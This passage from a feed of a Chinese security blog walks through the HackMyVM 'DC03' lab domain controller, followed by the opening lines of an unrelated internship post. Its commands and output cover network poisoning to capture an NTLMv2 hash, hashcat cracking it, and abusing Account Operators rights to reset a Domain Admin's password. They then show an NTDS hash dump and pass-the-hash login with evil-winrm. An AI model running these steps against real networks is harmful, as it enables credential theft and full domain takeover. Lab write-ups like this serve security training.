[SMB] NTLMv2-SSP Hash     : xkate578::soupedecode:6dd0e7fdf60bf255:F7C0EE2E94C9C4299D6135E5B8FE237B:0101000000000000804A6792FA67DC017256D884783028F00000000002000800500057004E00570001001E00570049004E002D0059004C0054004C005A004800360050004B003900420004003400570049004E002D0059004C0054004C005A004800360050004B00390042002E00500057004E0057002E004C004F00430041004C0003001400500057004E0057002E004C004F00430041004C0005001400500057004E0057002E004C004F00430041004C0007000800804A6792FA67DC01060004000200000008003000300000000000000000000000004000000DF192F368B1313FC0827840A4C4153DF97E8B115002F1F9A91223A6381CCBC10A0010000000000000000000000000000000000009001E0063006900660073002F00460069006C0065005300650072007600650072000000000000000000                                                   
[*] [MDNS] Poisoned answer sent to 172.16.55.179   for name wpad.local
[*] [MDNS] Poisoned answer sent to 172.16.55.179   for name wpad.local
[*] [MDNS] Poisoned answer sent to fe80::afa5:9700:ef8a:d874 for name wpad.local
[*] [MDNS] Poisoned answer sent to fe80::afa5:9700:ef8a:d874 for name wpad.local
[*] [MDNS] Poisoned answer sent to 172.16.55.179   for name wpad.local
[*] [LLMNR]  Poisoned answer sent to fe80::afa5:9700:ef8a:d874 for name wpad
[*] [MDNS] Poisoned answer sent to fe80::afa5:9700:ef8a:d874 for name wpad.local
[*] [MDNS] Poisoned answer sent to 172.16.55.179   for name wpad.local
[*] [LLMNR]  Poisoned answer sent to fe80::afa5:9700:ef8a:d874 for name wpad
[*] [LLMNR]  Poisoned answer sent to 172.16.55.179 for name wpad
[*] [MDNS] Poisoned answer sent to fe80::afa5:9700:ef8a:d874 for name wpad.local
[*] [LLMNR]  Poisoned answer sent to 172.16.55.179 for name wpad
[*] [LLMNR]  Poisoned answer sent to fe80::afa5:9700:ef8a:d874 for name wpad
[*] [LLMNR]  Poisoned answer sent to fe80::afa5:9700:ef8a:d874 for name wpad
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;[SMB] NTLMv2-SSP Username : soupedecode\xkate578
[SMB] NTLMv2-SSP Hash     : xkate578::soupedecode:6dd0e7fdf60bf255:F7C0EE2E94C9C4299D6135E5B8FE237B:0101000000000000804A6792FA67DC017256D884783028F00000000002000800500057004E00570001001E00570049004E002D0059004C0054004C005A004800360050004B003900420004003400570049004E002D0059004C0054004C005A004800360050004B00390042002E00500057004E0057002E004C004F00430041004C0003001400500057004E0057002E004C004F00430041004C0005001400500057004E0057002E004C004F00430041004C0007000800804A6792FA67DC01060004000200000008003000300000000000000000000000004000000DF192F368B1313FC0827840A4C4153DF97E8B115002F1F9A91223A6381CCBC10A0010000000000000000000000000000000000009001E0063006900660073002F00460069006C0065005300650072007600650072000000000000000000 
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;hashcat破解&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/DC03]
└─# hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
XKATE578::soupedecode:6dd0e7fdf60bf255:f7c0ee2e94c9c4299d6135e5b8fe237b:0101000000000000804a6792fa67dc017256d884783028f00000000002000800500057004e00570001001e00570049004e002d0059004c0054004c005a004800360050004b003900420004003400570049004e002d0059004c0054004c005a004800360050004b00390042002e00500057004e0057002e004c004f00430041004c0003001400500057004e0057002e004c004f00430041004c0005001400500057004e0057002e004c004f00430041004c0007000800804a6792fa67dc01060004000200000008003000300000000000000000000000004000000df192f368b1313fc0827840a4c4153df97e8b115002f1f9a91223a6381ccbc10a0010000000000000000000000000000000000009001e0063006900660073002f00460069006c0065005300650072007600650072000000000000000000:jesuschrist
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: XKATE578::soupedecode:6dd0e7fdf60bf255:f7c0ee2e94c9...000000
Time.Started.....: Mon Dec  8 04:29:59 2025 (0 secs)
Time.Estimated...: Mon Dec  8 04:29:59 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   574.8 kH/s (0.92ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 2048/14344385 (0.01%)
Rejected.........: 0/2048 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -&amp;gt; lovers1
Hardware.Mon.#1..: Util: 24%

Started: Mon Dec  8 04:29:40 2025
Stopped: Mon Dec  8 04:30:01 2025
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;破解出来的密码为jesuschrist&lt;/p&gt;
&lt;p&gt;得到一对账号&lt;code&gt;xkate578:jesuschrist&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;二次信息收集&lt;/h1&gt;
&lt;h2&gt;提取用户&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;enum4linux -u&amp;#39;xkate578&amp;#39; -p &amp;#39;jesuschrist&amp;#39; -a 172.16.55.212 &amp;gt; enum
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;grep -Po &amp;#39;user:\[\K[^\]]+&amp;#39; enum &amp;gt; user.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;smb服务探测&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(kali㉿kali)-[~/temp/DC03]
└─$ smbmap -H $IP -u xkate578 -p jesuschrist

    ________  ___      ___  _______   ___      ___       __         _______
   /&amp;quot;       )|&amp;quot;  \    /&amp;quot;  ||   _  &amp;quot;\ |&amp;quot;  \    /&amp;quot;  |     /&amp;quot;&amp;quot;\       |   __ &amp;quot;\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /&amp;#39; /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __&amp;#39;  \    (|  /
   /&amp;quot; \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                          
                                                                                                                             
[+] IP: 192.168.10.107:445      Name: 192.168.10.107            Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share 
        share                                                   READ, WRITE
        SYSVOL                                                  READ ONLY       Logon server share 
[*] Closed 1 connections
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现存在一个可写共享目录，尝试看一下：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/DC03]
└─# smbclient -U SOUPEDECODE.LOCAL/xkate578 //172.16.55.212/share 

Password for [SOUPEDECODE.LOCAL\xkate578]:
Try &amp;quot;help&amp;quot; to get a list of possible commands.
smb: \&amp;gt; ls
  .                                  DR        0  Mon Dec  8 21:00:20 2025
  ..                                  D        0  Thu Aug  1 01:38:08 2024
  desktop.ini                       AHS      282  Thu Aug  1 01:38:08 2024
  user.txt                            A       70  Thu Aug  1 01:39:25 2024

                12942591 blocks of size 4096. 10927654 blocks available
smb: \&amp;gt; type user.txt
type: command not found
smb: \&amp;gt; get user.txt
getting file \user.txt of size 70 as user.txt (4.3 KiloBytes/sec) (average 4.3 KiloBytes/sec)
smb: \&amp;gt; cd ../
smb: \&amp;gt; ls
  .                                  DR        0  Mon Dec  8 21:00:20 2025
  ..                                  D        0  Thu Aug  1 01:38:08 2024
  desktop.ini                       AHS      282  Thu Aug  1 01:38:08 2024
  user.txt                            A       70  Thu Aug  1 01:39:25 2024

┌──(root㉿kali)-[/home/kali/Desktop/hmv/DC03]
└─# cat user.txt 
��12f54a96f64443246930da001cafda8b                                   
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;查看信息&lt;/h2&gt;
&lt;h3&gt;pywerview&lt;/h3&gt;
&lt;p&gt;Pywerview = &lt;strong&gt;PowerView 的 Python 版本&lt;/strong&gt;&lt;br&gt;（PowerView 是 PowerSploit 中最强的 Active Directory 枚举工具）&lt;/p&gt;
&lt;p&gt;由于 PowerView 运行在 Windows + PowerShell 上，而 Linux 渗透更习惯在 Kali 操作，所以 Pywerview 的意义是：&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;你可以在 Linux 上完成大量 PowerView 的功能，不用 PowerShell、不用 Windows、不用域内机器。&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(kali㉿kali)-[~/Desktop/tools]
└─$ pywerview get-netuser -w soupedecode.local --dc-ip 172.16.55.212 -u xkate578 -p jesuschrist --username xkate578
objectclass:           top, person, organizationalPerson, user
cn:                    Xenia Kate
sn:                    Kate
l:                     Springfield
st:                    NY
title:                 Analyst
description:           Adventure seeker and extreme sports fan
postalcode:            81335
telephonenumber:       719-5053
givenname:             Xenia
initials:              XK
distinguishedname:     CN=Xenia Kate,CN=Users,DC=SOUPEDECODE,DC=LOCAL
instancetype:          4
whencreated:           2024-06-15 20:04:39+00:00
whenchanged:           2025-12-09 00:25:01+00:00
displayname:           Xenia Kate
usncreated:            16902
memberof:              CN=Account Operators,CN=Builtin,DC=SOUPEDECODE,DC=LOCAL
usnchanged:            40990
department:            Sales
company:               CompanyC
streetaddress:         123 Elm St
name:                  Xenia Kate
objectguid:            {f5dee86d-8f4e-4591-8446-0250d6e4bf92}
useraccountcontrol:    NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
badpwdcount:           0
codepage:              0
countrycode:           0
badpasswordtime:       2025-12-09 02:02:22.762611+00:00
lastlogoff:            1601-01-01 00:00:00+00:00
lastlogon:             2025-12-09 02:02:25.090216+00:00
logonhours:            ffffffffffffffffffffffffffffffffffffffffff...
pwdlastset:            2024-08-01 05:37:18.874022+00:00
primarygroupid:        513
objectsid:             S-1-5-21-2986980474-46765180-2505414164-1182
admincount:            1
accountexpires:        1601-01-01 00:00:00+00:00
logoncount:            6
samaccountname:        xkate578
samaccounttype:        805306368
userprincipalname:     xkate578@soupedecode.local
objectcategory:        CN=Person,CN=Schema,CN=Configuration,DC=SOUPEDECODE,DC=LOCAL
dscorepropagationdata: 2024-08-01 05:47:50+00:00, 1601-01-01 00:00:00+00:00
lastlogontimestamp:    2025-12-09 00:25:01.958200+00:00
mail:                  xkate578@soupedecode.local 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; 从&lt;code&gt;memberof: CN=Account Operators,CN=Builtin,DC=SOUPEDECODE,DC=LOCAL&lt;/code&gt; 中可以看到用户属于&lt;code&gt;Account Operators&lt;/code&gt; 组  &lt;/p&gt;
&lt;h3&gt;ldapdomaindump&lt;/h3&gt;
&lt;p&gt;使用&lt;code&gt;ldapdomaindump &lt;/code&gt;工具进行信息搜集：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;code&gt;plain ┌──(kali㉿kali)-[~/temp/DC03] └─$ mkdir domain  ┌──(kali㉿kali)-[~/temp/DC03/domain] └─$ ldapdomaindump $IP -u &amp;#39;SOUPEDECODE.LOCAL\xkate578&amp;#39; -p jesuschrist [*] Connecting to host... [*] Binding to host [+] Bind OK [*] Starting domain dump [+] Domain dump finished  ┌──(kali㉿kali)-[~/temp/DC03/domain] └─$ grep -Pnir xkate578                                domain_users.json:54297:            &amp;quot;xkate578@soupedecode.local&amp;quot; domain_users.json:54330:            &amp;quot;xkate578&amp;quot; domain_users.json:54360:            &amp;quot;xkate578@soupedecode.local&amp;quot; domain_users_by_group.html:449:&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Xenia Kate&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Xenia Kate&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;xkate578&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;06/15/24 20:04:39&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;06/13/25 16:04:01&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;06/13/25 16:04:01&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;08/01/24 05:37:18&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;abbr title=&amp;quot;S-1-5-21-2986980474-46765180-2505414164-1182&amp;quot;&amp;gt;1182&amp;lt;/abbr&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Adventure seeker and extreme sports fan&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt; domain_users_by_group.html:999:&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Xenia Kate&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Xenia Kate&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;xkate578&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;06/15/24 20:04:39&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;06/13/25 16:04:01&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;06/13/25 16:04:01&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;08/01/24 05:37:18&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;abbr title=&amp;quot;S-1-5-21-2986980474-46765180-2505414164-1182&amp;quot;&amp;gt;1182&amp;lt;/abbr&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Adventure seeker and extreme sports fan&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt; domain_users.html:449:&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Xenia Kate&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Xenia Kate&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;xkate578&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;a href=&amp;quot;domain_users_by_group.html#cn_Account_Operators&amp;quot; title=&amp;quot;CN=Account Operators,CN=Builtin,DC=SOUPEDECODE,DC=LOCAL&amp;quot;&amp;gt;Account Operators&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;a href=&amp;quot;domain_users_by_group.html#cn_Domain_Users&amp;quot; title=&amp;quot;CN=Domain Users,CN=Users,DC=SOUPEDECODE,DC=LOCAL&amp;quot;&amp;gt;Domain Users&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;06/15/24 20:04:39&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;06/13/25 16:04:01&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;06/13/25 16:04:01&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;08/01/24 05:37:18&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;abbr title=&amp;quot;S-1-5-21-2986980474-46765180-2505414164-1182&amp;quot;&amp;gt;1182&amp;lt;/abbr&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Adventure seeker and extreme sports fan&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt; domain_users.grep:419:Xenia Kate        Xenia Kate      xkate578        Account Operators       Domain Users    06/15/24 20:04:39       06/13/25 16:04:01       06/13/25 16:04:01       NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD   08/01/24 05:37:18       S-1-5-21-2986980474-46765180-2505414164-1182    Adventure seeker and extreme sports fan &lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;Account Operators 是 Active Directory (AD) 中的一个&lt;strong&gt;本地域组&lt;/strong&gt;，其权限设计用于管理域内的用户、组和计算机账户，但权限范围存在特定限制。&lt;/li&gt;
&lt;li&gt;可以更改成员的密码！！！&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;直接隶属组&lt;/strong&gt;：&lt;code&gt;Account Operators&lt;/code&gt;（账户操作员）和 &lt;code&gt;Domain Users&lt;/code&gt;（域用户）&lt;/li&gt;
&lt;li&gt;Account Operators 组的默认权限：&lt;ul&gt;
&lt;li&gt;账户管理：创建、删除用户和计算机账户，重置密码（需原始密码）&lt;/li&gt;
&lt;li&gt;属性修改：修改用户描述、组成员关系等，但无法修改域管理员组（Domain Admins）或管理员组（Administrators）的成员&lt;/li&gt;
&lt;li&gt;本地登录权限：可在域控制器（Domain Controller）上本地登录&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;提权&lt;/h2&gt;
&lt;p&gt;我们是&lt;code&gt;Account Operators&lt;/code&gt; 组的成员，拥有&lt;strong&gt;向用户授予有限的帐户创建权限&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;可以修改大多数类型的账户，可以管理本地用户和组，但不具备修改管理员组或全局组成员身份的权限&lt;/p&gt;
&lt;p&gt;现在是要寻找&lt;/p&gt;
&lt;p&gt;列出管理组的成员，可以看到成员包括一个组&lt;code&gt;Operators&lt;/code&gt; 和&lt;code&gt;administrator&lt;/code&gt; 用户&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(kali㉿kali)-[~/Desktop/tools]
└─$ pywerview get-netgroupmember -w soupedecode.local --dc-ip 172.16.55.212 -u xkate578 -p jesuschrist --group &amp;quot;Domain Admins&amp;quot;
groupdomain:  SOUPEDECODE.LOCAL
groupname:    Domain Admins
membername:   Operators
memberdomain: SOUPEDECODE.LOCAL
isgroup:      True
memberdn:     CN=Operators,CN=Users,DC=SOUPEDECODE,DC=LOCAL
objectsid:    S-1-5-21-2986980474-46765180-2505414164-2165 

groupdomain:  SOUPEDECODE.LOCAL
groupname:    Domain Admins
membername:   Administrator
memberdomain: SOUPEDECODE.LOCAL
isgroup:      False
memberdn:     CN=Administrator,CN=Users,DC=SOUPEDECODE,DC=LOCAL
objectsid:    S-1-5-21-2986980474-46765180-2505414164-500 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;跟进&lt;code&gt;Operators&lt;/code&gt; ，能发现存在 &lt;code&gt;fbeth103&lt;/code&gt; 。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(kali㉿kali)-[~/Desktop/tools]
└─$ pywerview get-netgroupmember -w soupedecode.local --dc-ip 172.16.55.212 -u xkate578 -p jesuschrist --group &amp;quot;Operators&amp;quot;    
groupdomain:  SOUPEDECODE.LOCAL
groupname:    Operators
membername:   fbeth103
memberdomain: SOUPEDECODE.LOCAL
isgroup:      False
memberdn:     CN=Fanny Beth,CN=Users,DC=SOUPEDECODE,DC=LOCAL
objectsid:    S-1-5-21-2986980474-46765180-2505414164-1221 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后&lt;code&gt;fbeth103&lt;/code&gt; 属于&lt;code&gt;Operators&lt;/code&gt; 组，而&lt;code&gt;Operators&lt;/code&gt; 又属于&lt;code&gt;Domain Admins&lt;/code&gt;组，那么&lt;code&gt;fbeth103&lt;/code&gt; 就拥有&lt;code&gt;Domain Admins&lt;/code&gt;组的权限。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Account Operators&lt;/code&gt; 组能够修改 &lt;code&gt;fbeth103&lt;/code&gt; 用户的账户信息，即使 &lt;code&gt;fbeth103&lt;/code&gt; 属于 &lt;code&gt;Operators&lt;/code&gt; 组，而 &lt;code&gt;Operators&lt;/code&gt; 组又是 &lt;code&gt;Domain Admins&lt;/code&gt; 组的成员&lt;/p&gt;
&lt;h3&gt;修改&lt;code&gt;fbeth103&lt;/code&gt; 的密码&lt;/h3&gt;
&lt;h4&gt;方法一：impacket-changepasswd&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;code&gt;plain ┌──(kali㉿kali)-[~/temp/DC03/domain] └─$ impacket-changepasswd &amp;#39;soupedecode/fbeth103&amp;#39;@172.16.55.212 -altuser xkate578 -altpass jesuschrist -newpass hacked -no-pass -reset          Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies   [*] Setting the password of soupedecode\fbeth103 as soupedecode\xkate578 [*] Connecting to DCE/RPC as soupedecode\xkate578 [-] soupedecode\xkate578 user is not allowed to set the password of the target &lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;/table&gt;
&lt;p&gt;未成功。。。。重新导入靶机，为所有网卡修改mac地址，修改名称，启动，执行命令，成功！&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;code&gt;plain ┌──(kali㉿kali)-[~/temp/DC03/domain] └─$ impacket-changepasswd &amp;#39;soupedecode/fbeth103&amp;#39;@172.16.55.212 -altuser xkate578 -altpass jesuschrist -newpass hacked -no-pass -reset  Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies   [*] Setting the password of soupedecode\fbeth103 as soupedecode\xkate578 [*] Connecting to DCE/RPC as soupedecode\xkate578 [*] Password was changed successfully. [!] User no longer has valid AES keys for Kerberos, until they change their password again. &lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-no-pass&lt;/code&gt; 不需要提供原来的密码&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-reset&lt;/code&gt;生效&lt;/li&gt;
&lt;li&gt;强行重置密码并生效&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;方法二：bloodyAD&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;code&gt;plain ┌──(kali㉿kali)-[~/temp/DC03/domain] └─$ bloodyAD -d SUPEDECDE.LCAL --host 172.16.55.212 -u xkate578 -p jesuschrist set password fbeth103 heathcliff [+] Password changed successfully! &lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;/table&gt;
&lt;h4&gt;方法三：rpclient&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;code&gt;plain ┌──(kali㉿kali)-[~/temp/DC03/domain] └─$ rpcclient -U &amp;quot;xkate578&amp;quot; 172.16.55.212 Password for [WORKGROUP\xkate578]: rpcclient $&amp;gt; setuserinfo2 fbeth103 23 heathcliff # setuserinfo2是rpcclient中的一个命令，用于修改用户账户的信息 # 23：表示要修改的属性类型（RID，即安全标识符的后缀）。在 Windows 中，23 对应用户密码属性。 rpcclient $&amp;gt; exit  ┌──(kali㉿kali)-[~/temp/DC03/domain] └─$ netexec smb 172.16.55.212 -u fbeth103 -p heathcliff SMB         192.168.10.101  445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)  SMB         192.168.10.101  445    DC01             [+] SOUPEDECODE.LOCAL\fbeth103:hgbe02pass (Pwn3d!) &lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;/table&gt;
&lt;p&gt; 未成功。。。。重新导入靶机，为所有网卡修改mac地址，修改名称，启动，执行命令，成功！  &lt;/p&gt;
&lt;h1&gt;获取root&lt;/h1&gt;
&lt;h2&gt;方法一&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt; root@kali  ~/Desktop/test/DC03/output  evil-winrm -i 192.168.56.126 -u fbeth103 -p hacked!
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Desktop&amp;gt; type root.txt
b8e59a7d4020792c412da75e589ff4fc
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;方法二&lt;/h2&gt;
&lt;h3&gt;转储 NTDS获取NTLM登录&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;code&gt;plain ┌──(kali㉿kali)-[~/temp/DC03/domain] └─$ netexec smb $IP -u fbeth103 -p hgbe02pass --ntds [!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user &amp;lt;user&amp;gt; to dump a specific user safely or the module -M ntdsutil [Y/n] Y SMB         192.168.10.101  445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)  SMB         192.168.10.101  445    DC01             [+] SOUPEDECODE.LOCAL\fbeth103:hgbe02pass (Pwn3d!) SMB         192.168.10.101  445    DC01             [-] RemoteOperations failed: SMB SessionError: code: 0xc00000ac - STATUS_PIPE_NOT_AVAILABLE - An instance of a named pipe cannot be found in the listening state. SMB         192.168.10.101  445    DC01             [+] Dumping the NTDS, this could take a while so go grab a redbull... SMB         192.168.10.101  445    DC01             Administrator:500:aad3b435b51404eeaad3b435b51404ee:2176416a80e4f62804f101d3a55d6c93::: SMB         192.168.10.101  445    DC01             Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: SMB         192.168.10.101  445    DC01             krbtgt:502:aad3b435b51404eeaad3b435b51404ee:fb9d84e61e78c26063aced3bf9398ef0::: SMB         192.168.10.101  445    DC01             soupedecode.local\bmark0:1103:aad3b435b51404eeaad3b435b51404ee:d72c66e955a6dc0fe5e76d205a630b15::: SMB         192.168.10.101  445    DC01             soupedecode.local\otara1:1104:aad3b435b51404eeaad3b435b51404ee:ee98f16e3d56881411fbd2a67a5494c6::: SMB         192.168.10.101  445    DC01             soupedecode.local\kleo2:1105:aad3b435b51404eeaad3b435b51404ee:bda63615bc51724865a0cd0b4fd9ec14::: SMB         192.168.10.101  445    DC01             soupedecode.local\eyara3:1106:aad3b435b51404eeaad3b435b51404ee:68e34c259878fd6a31c85cbea32ac671::: SMB         192.168.10.101  445    DC01             soupedecode.local\pquinn4:1107:aad3b435b51404eeaad3b435b51404ee:92cdedd79a2fe7cbc8c55826b0ff2d54::: SMB         192.168.10.101  445    DC01             soupedecode.local\jharper5:1108:aad3b435b51404eeaad3b435b51404ee:800f9c9d3e4654d9bd590fc4296adf01::: SMB         192.168.10.101  445    DC01             soupedecode.local\bxenia6:1109:aad3b435b51404eeaad3b435b51404ee:d997d3309bc876f12cbbe932d82b18a3::: -------------- &lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(kali㉿kali)-[~/temp/DC03/domain]
└─$ evil-winrm -i $IP -u Administrator -H 2176416a80e4f62804f101d3a55d6c93
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc&amp;#39; for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents&amp;gt; whoami
soupedecode\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents&amp;gt; cd ../desktop
*Evil-WinRM* PS C:\Users\Administrator\desktop&amp;gt; type root.txt
b8e59a7d4020792c412da75e589ff4fc
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hmvmachines/dc03/&quot;&gt;https://heathc1iff-sec.github.io/blog/hmvmachines/dc03/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Mon, 08 Dec 2025 00:00:00 GMT</pubDate></item><item><title>安服实习生小记</title><link>https://heathc1iff-sec.github.io/blog/life/%E5%AE%89%E6%9C%8D%E5%AE%9E%E4%B9%A0%E7%94%9F%E5%B0%8F%E8%AE%B0/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/life/%E5%AE%89%E6%9C%8D%E5%AE%9E%E4%B9%A0%E7%94%9F%E5%B0%8F%E8%AE%B0/</guid><description>大二-暑期实习</description><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;24年末卫健委攻防演练结束后(大二上学期)，平时邀请我们学校进行攻防项目的私企技术总监邀我进公司实习，当时由于寒假要回家没时间去所以推脱到今年暑假，给的岗位是红队攻防和研究，不过目前来看业务倒是很杂&lt;/p&gt;
